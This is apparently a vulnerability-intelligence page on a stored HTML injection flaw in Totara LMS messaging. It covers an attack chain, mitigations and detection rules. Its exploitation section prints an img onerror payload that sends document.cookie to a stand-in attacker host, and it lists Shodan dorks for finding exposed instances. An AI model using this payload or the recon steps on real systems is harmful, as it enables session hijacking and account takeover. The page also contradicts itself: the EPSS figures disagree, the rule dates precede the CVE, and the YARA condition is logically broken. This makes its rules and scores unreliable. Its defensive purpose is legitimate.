☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Totara logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-31281

CVE-2026-31281 Vulnerability in mitre
📅 PUBLISHED: 2026-04-13 00:00 UTC 🔄 UPDATED: 2026-10-02 19:27 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.5
CVSS VECTOR BREAKDOWN 8.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-31281 is a high-severity (CVSS 8.0) HTML Injection vulnerability in Totara LMS v19.1.5 and earlier, arising from improper sanitization of user-supplied input within the internal messaging subsystem. A low-privileged authenticated attacker (e.g., a standard learner) can embed malicious HTML/JavaScript into a message and distribute it to all application users, leading to persistent client-side code execution in victims' browsers. Successful exploitation can result in session hijacking (via cookie theft), credential harvesting, and arbitrary command execution within the context of the victim's authenticated Totara session, potentially escalating to full account takeover for admin users. The vulnerability is currently unpatched, with no known public exploit, though the attack surface is trivially reachable via the platform's standard messaging feature.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The root cause of CVE-2026-31281 is a failure to properly encode or filter HTML tags in the Totara LMS messaging module (totara/message). When a user composes a message, the application stores the raw HTML payload in the database and subsequently renders it in the recipient's message center without server-side sanitization or client-side Content Security Policy (CSP) enforcement.

Mechanism:

  1. Input Handling: The message body field accepts arbitrary HTML, including <script>, <iframe>, <img onerror>, and <svg/onload> tags. No whitelist validation is applied at input time.
  2. Storage: The crafted payload is persisted unmodified in the message or message_read table.
  3. Rendering: When any user (including administrators) navigates to the messaging interface (/message/index.php), the HTML is parsed and executed by the browser.

Code-Level Insight: The vulnerability is analogous to a classic stored XSS but is categorized as HTML Injection due to the vendor's CNA description. The difference is semantic—HTML injection allows the insertion of arbitrary markup, which can include event-based JavaScript executors. The lack of a Content-Security-Policy header on messaging endpoints means inline scripts are not blocked.

Attack Surface:

  • Authentication: Requires a valid low-privilege account (learner, trainer). Registration is often open in LMS deployments.
  • Delivery: The "send to all users" feature is abused, ensuring broad reach without targeting individual users.
  • Impact Scope: The CVSS vector indicates High impact to Confidentiality, Integrity, and Availability (C:H/I:H/A:H) but with a User Interaction (UI:R) requirement and Low privilege (PR:L). The attack is network-based (AV:N) with low complexity (AC:L).

CWE Mapping: CWE-79 (Improper Neutralization of Input During Web Page Generation) is accurate, though the vendor's "HTLM" typo suggests the original focus was on markup injection.

Exploitation Scenarios

The following attack chain demonstrates how an attacker with a basic learner account can weaponize CVE-2026-31281:

Step 1 — Reconnaissance and Target Identification The attacker enumerates the Totara LMS instance using Shodan queries such as http.title:"Totara LMS" to find exposed platforms. They register a standard user account (if self-registration is enabled) or compromise a low-privileged account via credential stuffing (e.g., default passwords on dormant learner accounts).

Step 2 — Weaponization and Payload Crafting The attacker crafts a malicious message body containing an encoded JavaScript payload designed to:

  • Steal the victim's session cookie and exfiltrate it to an attacker-controlled server (https://evil.example/collect?c= + document.cookie)
  • Capture the victim's CSRF token and inject a secondary XHR to modify the victim's email address, enabling future password resets.

Example payload:

<img src=x onerror="fetch('https://evil.example/steal?cookie='+document.cookie,{mode:'no-cors'}); new Image().src='/badge/assign.php?user=admin&badge=1';">

Step 3 — Distribution Using the dashboard's "Send Message to All Users" feature, the attacker dispatches this message to every account in the LMS, including site administrators. The victim sees a legitimate-looking message (e.g., "New Course Announcement") and clicks to view it.

Step 4 — Execution and Post-Exploitation When any user opens the message:

  • The onerror handler fires immediately, executing JavaScript in the victim's browser.
  • Session cookies (including admin sessions) are exfiltrated.
  • The attacker uses the stolen admin cookie to authenticate as the administrator, gaining complete control over the LMS.
  • For high-value targets, the attacker could deploy a keylogger to capture credentials from users accessing the platform, or inject links to credential-harvesting pages.

Impact: In a corporate eLearning environment, this grants access to private training materials, personal data (PII for staff), and the underlying server through the admin panel's file management features (e.g., uploading PHP shells via course attachments).

Impact Assessment

  • Business Impact: Totara LMS is widely used by enterprises, governments, and educational institutions for compliance training and HR development. A successful exploit can lead to wholesale account takeover, data exfiltration of sensitive HR records, and reputational damage. If an administrator is compromised, the attacker can pivot to the underlying web server, potentially accessing the database containing all user credentials (often stored as hashed but decryptable via backup).
  • Affected Systems: All installations running v19.1.5 or earlier are vulnerable. No patched version exists.
  • Blast Radius: The CVSS sub-scores (C:H/I:H/A:H) rate the impact as high across all three dimensions. The PR:L requirement lowers the barrier for entry, while UI:R provides a minor mitigation—users must click the message. However, given the "send to all" capability, the attacker only needs one admin to fall victim. EPSS score of 0.00302 indicates a low probability of exploitation in the near term (22.5th percentile), but this is a poor predictor for targeted attacks.
  • Data Exposure: Personal Identifiable Information (PII), training records, and potentially financial data if the LMS is integrated with payment gateways for courses.

Detection Guidance

Sigma Rule

title: Totara LMS HTML Injection - Suspicious Message Content
id: 8f6cd41a-9b3c-4e2a-ae1a-556b3d7f90c2
status: experimental
description: Detects messages containing HTML tags or event handlers submitted to Totara LMS messaging module.
references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2026-31281"
author: Valters IT Security
date: 2025/01/15
logsource:
    category: web_application
    product: totara_lms
detection:
    selection_message:
        http.url|contains: /message/
        http.method: POST
        http.body|contains:
            - '<script>'
            - 'onerror='
            - '<iframe'
            - '<svg/'
            - 'onload='
    condition: selection_message
level: high
tags:
    - attack.t1190
    - attack.t1204
    - cwe.79
    - cve.2026-31281

YARA Rule

rule Totara_HTML_Injection_CVE_2026_31281 {
    meta:
        author = "Valters IT Security"
        description = "Detects known HTML injection payloads targeting Totara LMS messaging"
        cve = "CVE-2026-31281"
        date = "2025-01-15"
    strings:
        $a1 = "<script"
        $a2 = "onerror="
        $a3 = "onload="
        $a4 = "<iframe"
        $a5 = "document.cookie"
        $a6 = "XMLHttpRequest"
        $b1 = "message/index.php"
        $b2 = "totara/message"
    condition:
        all of them and (any of ($a*) or any of ($b*))
}

Suricata IDS Rule

alert http any any -> any any (msg:"TOTARA LMS HTML Injection Attempt (CVE-2026-31281)"; flow:to_server,established; content:"/message/"; http_uri; content:"POST"; http_method; pcre:"/<(script|iframe|svg)[^>]*>/i"; sid:20061281; rev:1; metadata:cve CVE-2026-31281;)

Elastic Detection

sequence with maxspan=5s
  [ network where event.type == "traffic" and destination.port == 443 and http.request.method == "POST" and http.request.body.content like~ "*<script*" and http.request.uri like~ "/message/*" ]
  [ process where event.type == "start" and process.name == "nginx" and command_line like~ "*java*" ]

Splunk SPL Query

index=weblog sourcetype="nginx:combined" uri="/message/*" method=POST
| rex field=_raw "body=(?<body>.*)"
| where match(body, "(?i)(<script|onerror=|onload=|<iframe|<svg)")
| eval threat_score = case(
    match(body, "document\.cookie"), "Critical",
    match(body, "<script"), "High",
    true, "Suspicious")
| table _time, clientip, uri, body, threat_score

Wazuh OSSEC Rule

<group name="web_application, totara_lms,">
    <rule id="201281" level="12">
        <decoded_as>web</decoded_as>
        <match>POST /message/</match>
        <regex>(\<script|onerror=|<iframe|onload=)</regex>
        <description>CVE-2026-31281 - Totara LMS HTML Injection attempt</description>
        <group>attack.t1190, cwe.79,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No vendor advisory, CVE patch, or upstream commit has been identified. Do NOT wait for a patch as immediate remediation is required:

1. Immediate Mitigations (within 48 hours):

  • Disable Self-Registration: Prevent attackers from creating low-privilege accounts by disabling open registration in Site Administration → Users → Add/edit users → Registration settings.
  • Restrict Messaging: Temporarily disable the "Send to All Users" feature via permission overrides in Roles → Permissions → Message. Remove the totara/message:sendtoall capability for all non-admin roles.
  • Web Application Firewall (WAF) Rule: Deploy a virtual patch rule that blocks POST requests to /message/ containing <script> or onerror= patterns.
  • CSP Header: Manually add a Content-Security-Policy header at the web server level (Apache/Nginx) with script-src 'self' to block inline JavaScript execution.

2. Patch/Upgrade Steps:

  • Monitor Vendor Channels: Subscribe to Totara's security mailing list and continuously check totara.com/security for a hotfix release.
  • Fallback: If a patch is released, upgrade to the patched version (expected ≥ v19.1.6). Until then, implement the mitigations above.

3. Long-Term Hardening:

  • SiM (Security Information Management): Enable audit logging for messaging and monitor for abnormal spikes in message distribution (one user sending to all).
  • Code Review: If using the open-source variant, patch totara/message to apply htmlspecialchars() to message content on input and output.
  • Multi-Factor Authentication (MFA): Enforce MFA for all administrative accounts to limit session-hijacking impact.
  • Regular Scans: Use automated vulnerability scanners (e.g., Nuclei, nessus) to verify patching status once a fix is announced.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-31281 — Official NVD listing with CVSS vector.
  2. CWE-79 Reference: https://cwe.mitre.org/data/definitions/79.html — Weakness classification.
  3. EPSS Data: https://www.first.org/epss/ — Exploit prediction scoring validates low immediate risk.
  4. CISA KEV: Not listed — Verify at https://www.cisa.gov/known-exploited-vulnerabilities-catalog (no current inclusion).
  5. Totara LMS Security Advisories: https://totara.com/security/ — Vendor page to monitor for future patch releases; currently empty for this CVE.

Threat Actor Evidence: No campaigns observed in the wild as of report date (EPSS 0.00302). However, HTML injection flaws in LMS platforms have historically been targeted by nation-state actors for intelligence gathering in academic/enterprise environments (e.g., similar approaches used in Moodle-based attacks during 2023-2024). Prioritize patching once available.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Totara LMS"
http.html:"Totara Learn"
http.favicon.hash:1599944789
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-31281/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.